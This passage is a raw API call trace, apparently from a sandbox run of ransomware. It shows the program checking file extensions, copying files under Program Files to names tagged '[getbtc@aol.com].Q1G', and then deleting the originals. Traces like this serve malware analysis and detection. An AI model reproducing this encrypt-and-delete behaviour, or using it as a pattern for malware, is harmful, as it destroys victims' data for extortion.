(lpString1=".dbf", lpString2=".inc") returned -1 [0051.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0051.800] lstrlenW (lpString=".1cd") returned 4 [0051.800] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0051.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0051.800] lstrlenW (lpString=".jpg") returned 4 [0051.800] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0051.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0051.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0051.800] lstrlenW (lpString=".doc") returned 4 [0051.800] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0051.800] lstrlenW (lpString=".docx") returned 5 [0051.801] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0051.801] lstrlenW (lpString=".pdf") returned 4 [0051.801] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0051.801] lstrlenW (lpString=".xls") returned 4 [0051.801] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0051.801] lstrlenW (lpString=".xlsx") returned 5 [0051.801] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0051.801] lstrlenW (lpString=".ppt") returned 4 [0051.801] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0051.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0051.801] lstrlenW (lpString=".zip") returned 4 [0051.801] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0051.801] lstrlenW (lpString=".rar") returned 4 [0051.801] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0051.801] lstrlenW (lpString=".bz2") returned 4 [0051.801] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0051.801] lstrlenW (lpString=".7z") returned 3 [0051.801] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0051.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0051.801] lstrlenW (lpString=".dbf") returned 4 [0051.801] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0051.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0051.801] lstrlenW (lpString=".1cd") returned 4 [0051.801] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0051.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0051.801] lstrlenW (lpString=".jpg") returned 4 [0051.801] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0051.801] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0051.801] lstrlenW (lpString="DissolveNoise.png") returned 17 [0051.801] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.807] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=751669) returned 1 [0051.807] CloseHandle (hObject=0x208) returned 1 [0051.807] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png")) returned 0x20 [0051.807] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0051.807] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.807] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0051.807] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0051.807] lstrlenW (lpString=".doc") returned 4 [0051.807] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.807] lstrlenW (lpString=".docx") returned 5 [0051.807] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0051.807] lstrlenW (lpString=".pdf") returned 4 [0051.807] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.807] lstrlenW (lpString=".xls") returned 4 [0051.807] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.807] lstrlenW (lpString=".xlsx") returned 5 [0051.807] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0051.807] lstrlenW (lpString=".ppt") returned 4 [0051.808] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.808] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0051.808] lstrlenW (lpString=".zip") returned 4 [0051.808] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.808] lstrlenW (lpString=".rar") returned 4 [0051.808] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.808] lstrlenW (lpString=".bz2") returned 4 [0051.808] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.808] lstrlenW (lpString=".7z") returned 3 [0051.808] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.808] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0051.808] lstrlenW (lpString=".dbf") returned 4 [0051.808] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.808] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0051.808] lstrlenW (lpString=".1cd") returned 4 [0051.808] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.808] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0051.808] lstrlenW (lpString=".jpg") returned 4 [0051.808] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.808] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0051.808] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0051.808] lstrlenW (lpString=".doc") returned 4 [0051.808] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.808] lstrlenW (lpString=".docx") returned 5 [0051.808] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0051.808] lstrlenW (lpString=".pdf") returned 4 [0051.808] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.808] lstrlenW (lpString=".xls") returned 4 [0051.808] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.808] lstrlenW (lpString=".xlsx") returned 5 [0051.808] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0051.808] lstrlenW (lpString=".ppt") returned 4 [0051.808] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.808] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0051.808] lstrlenW (lpString=".zip") returned 4 [0051.809] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.809] lstrlenW (lpString=".rar") returned 4 [0051.809] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.809] lstrlenW (lpString=".bz2") returned 4 [0051.809] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.809] lstrlenW (lpString=".7z") returned 3 [0051.809] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.809] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0051.809] lstrlenW (lpString=".dbf") returned 4 [0051.809] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.809] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0051.809] lstrlenW (lpString=".1cd") returned 4 [0051.809] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.809] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0051.809] lstrlenW (lpString=".jpg") returned 4 [0051.809] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.809] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0051.809] lstrlenW (lpString="16to9Squareframe_SelectionSubpicture.png") returned 40 [0051.809] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.814] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=3286) returned 1 [0051.814] CloseHandle (hObject=0x208) returned 1 [0051.814] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png")) returned 0x20 [0051.814] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0051.814] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.814] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0051.814] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0051.814] lstrlenW (lpString=".doc") returned 4 [0051.814] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.814] lstrlenW (lpString=".docx") returned 5 [0051.814] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0051.814] lstrlenW (lpString=".pdf") returned 4 [0051.814] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.814] lstrlenW (lpString=".xls") returned 4 [0051.814] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.814] lstrlenW (lpString=".xlsx") returned 5 [0051.814] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0051.814] lstrlenW (lpString=".ppt") returned 4 [0051.814] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.814] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0051.814] lstrlenW (lpString=".zip") returned 4 [0051.814] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.814] lstrlenW (lpString=".rar") returned 4 [0051.814] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.814] lstrlenW (lpString=".bz2") returned 4 [0051.814] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.814] lstrlenW (lpString=".7z") returned 3 [0051.814] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.814] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0051.815] lstrlenW (lpString=".dbf") returned 4 [0051.815] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.102] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0052.102] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0054.690] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.690] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0054.691] GetLastError () returned 0x0 [0054.691] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x851c, lpOverlapped=0x0) returned 1 [0054.695] WriteFile (in: hFile=0x238, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x8520, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x8520, lpOverlapped=0x0) returned 1 [0054.696] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.696] WriteFile (in: hFile=0x238, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.696] SetEndOfFile (hFile=0x238) returned 1 [0054.696] CloseHandle (hObject=0x238) returned 1 [0054.696] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.697] SetEndOfFile (hFile=0x234) returned 1 [0054.697] CloseHandle (hObject=0x234) returned 1 [0054.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.698] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 1 [0054.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0054.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0054.698] lstrlenW (lpString=".doc") returned 4 [0054.698] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.698] lstrlenW (lpString=".docx") returned 5 [0054.698] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0054.698] lstrlenW (lpString=".pdf") returned 4 [0054.698] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.698] lstrlenW (lpString=".xls") returned 4 [0054.698] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.698] lstrlenW (lpString=".xlsx") returned 5 [0054.698] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0054.698] lstrlenW (lpString=".ppt") returned 4 [0054.698] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0054.698] lstrlenW (lpString=".zip") returned 4 [0054.698] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.698] lstrlenW (lpString=".rar") returned 4 [0054.698] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.699] lstrlenW (lpString=".bz2") returned 4 [0054.699] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.699] lstrlenW (lpString=".7z") returned 3 [0054.699] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0054.699] lstrlenW (lpString=".dbf") returned 4 [0054.699] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0054.699] lstrlenW (lpString=".1cd") returned 4 [0054.699] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0054.699] lstrlenW (lpString=".jpg") returned 4 [0054.699] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0054.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0054.699] lstrlenW (lpString=".doc") returned 4 [0054.699] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.699] lstrlenW (lpString=".docx") returned 5 [0054.699] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0054.699] lstrlenW (lpString=".pdf") returned 4 [0054.699] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.699] lstrlenW (lpString=".xls") returned 4 [0054.699] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.699] lstrlenW (lpString=".xlsx") returned 5 [0054.699] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0054.699] lstrlenW (lpString=".ppt") returned 4 [0054.699] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0054.699] lstrlenW (lpString=".zip") returned 4 [0054.699] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.699] lstrlenW (lpString=".rar") returned 4 [0054.699] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.699] lstrlenW (lpString=".bz2") returned 4 [0054.699] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.700] lstrlenW (lpString=".7z") returned 3 [0054.700] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0054.700] lstrlenW (lpString=".dbf") returned 4 [0054.700] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0054.700] lstrlenW (lpString=".1cd") returned 4 [0054.700] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0054.700] lstrlenW (lpString=".jpg") returned 4 [0054.700] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.700] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0054.700] lstrlenW (lpString="AG00004_.GIF") returned 12 [0054.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.701] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=9024) returned 1 [0054.701] CloseHandle (hObject=0x234) returned 1 [0054.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 0x20 [0054.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.702] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.702] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0054.702] GetLastError () returned 0x0 [0054.702] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x2340, lpOverlapped=0x0) returned 1 [0054.704] WriteFile (in: hFile=0x238, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x2350, lpOverlapped=0x0) returned 1 [0054.704] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.705] WriteFile (in: hFile=0x238, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.705] SetEndOfFile (hFile=0x238) returned 1 [0054.705] CloseHandle (hObject=0x238) returned 1 [0054.705] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.705] SetEndOfFile (hFile=0x234) returned 1 [0054.706] CloseHandle (hObject=0x234) returned 1 [0054.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0054.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0054.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0054.706] lstrlenW (lpString=".doc") returned 4 [0054.706] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.706] lstrlenW (lpString=".docx") returned 5 [0054.706] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.706] lstrlenW (lpString=".pdf") returned 4 [0054.706] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.706] lstrlenW (lpString=".xls") returned 4 [0054.706] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.706] lstrlenW (lpString=".xlsx") returned 5 [0054.706] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.706] lstrlenW (lpString=".ppt") returned 4 [0054.706] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0054.707] lstrlenW (lpString=".zip") returned 4 [0054.707] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.707] lstrlenW (lpString=".rar") returned 4 [0054.707] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.707] lstrlenW (lpString=".bz2") returned 4 [0054.707] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.707] lstrlenW (lpString=".7z") returned 3 [0054.707] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0054.707] lstrlenW (lpString=".dbf") returned 4 [0054.707] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0054.707] lstrlenW (lpString=".1cd") returned 4 [0054.707] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0054.707] lstrlenW (lpString=".jpg") returned 4 [0054.707] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0054.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0054.707] lstrlenW (lpString=".doc") returned 4 [0054.707] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.707] lstrlenW (lpString=".docx") returned 5 [0054.707] lstrcmpiW (lpString1=".docx", 